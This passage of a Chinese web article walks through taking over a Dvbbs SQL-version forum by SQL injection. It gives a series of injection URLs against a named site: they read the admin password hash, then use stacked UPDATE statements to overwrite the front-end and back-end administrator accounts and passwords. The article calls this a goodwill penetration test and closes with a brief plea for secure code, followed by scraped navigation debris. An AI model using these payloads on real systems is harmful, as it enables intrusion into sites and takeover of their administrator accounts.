再谈SQL注入入侵动网SQL版

前台登陆才可以进后台管理，一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易，在他论坛注册一个用户查看一下管理团队，得出，前台管理用户为： admin好，得到他的密码：
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回，admin的前台密码为：e7cc01be0e33a273
同样是MD5的。 现在利用COOKIE欺骗可以登陆它的前台管理了。但是还有别的办法吗？别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了，对 ，就是，update。 我们来提交：
http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin'；--
正常返回信息，应该成功执行了，查看一下：
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回值为： 49ba59abbe56e057
更改密码成功，说明一下，这个16位MD5是预先算好的。你要知道它的明文密码。
那么同样的，我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的，提交：
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--
查看一下：
http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功，后台管理员现在已变成：admin 接下来更改密码，提交：
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--
查看一下：
http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功，后台管理员密码已经变成：49ba59abbe56e057到这里为止，动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。四、总结
就这样并不算太艰难的实现了对动网的控制。通过这次善意的渗透测试，也暴露出SQL INJECTION攻击的可怕性。而对于IIS+ASP+SQL2000的虚拟主机来说简直就是防不胜防。只要主机上有一个SQL注入点的话，动网就将面临灭顶之灾了。而其实从服务器庞大的网站程序中找一个这样的SQL注入点并不算难事.正应征了一句老话：千里之堤，溃于蚁穴。所以防范这样的攻击的最好办法是加强程序代码的安全性。安全是个整体，任何细微的错误都有可能导致严重后果。showbanner(4,4);




6
7




6
7站内搜索 标题 关键字搜索常规搜索高级搜索热门搜索：CSS Fireworks 设计比赛 网页制作 Dreamweaver 2004 Flash



6
7站点最新站点最新列表




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 日湖 - 残水荷




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 photoshop 做抽象艺术效果




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 Nikon 2004-2005国际摄影大赛




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 个性化我的Flash




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 “译典通”-卡通形象设计大赛




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 Rio Audio




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 newezra.com




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 细品DW MX 2004表格设计




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 索尼影像新生力青年DV大赛




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 你也能拿高薪--名企面试自助手册



6
7栏目最新栏目最新列表




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 photoshop 做抽象艺术效果




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 个性化我的Flash




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 细品DW MX 2004表格设计




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 披头氏抠门篇—通道综合运用




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 Photoshop 利用通道运算取印章




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 Photoshop 使用通道运算抠图法




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 Photoshop 通道运算详解




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 photoshop 超简单抠婚纱方法




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 PS 商业实战 - 效果也疯狂




0
1
2
3
4
5
7
8
9
0
1
2
3
4
5
6 PS 商业实战 - 3D也疯狂



6
7-->showbanner(6,6);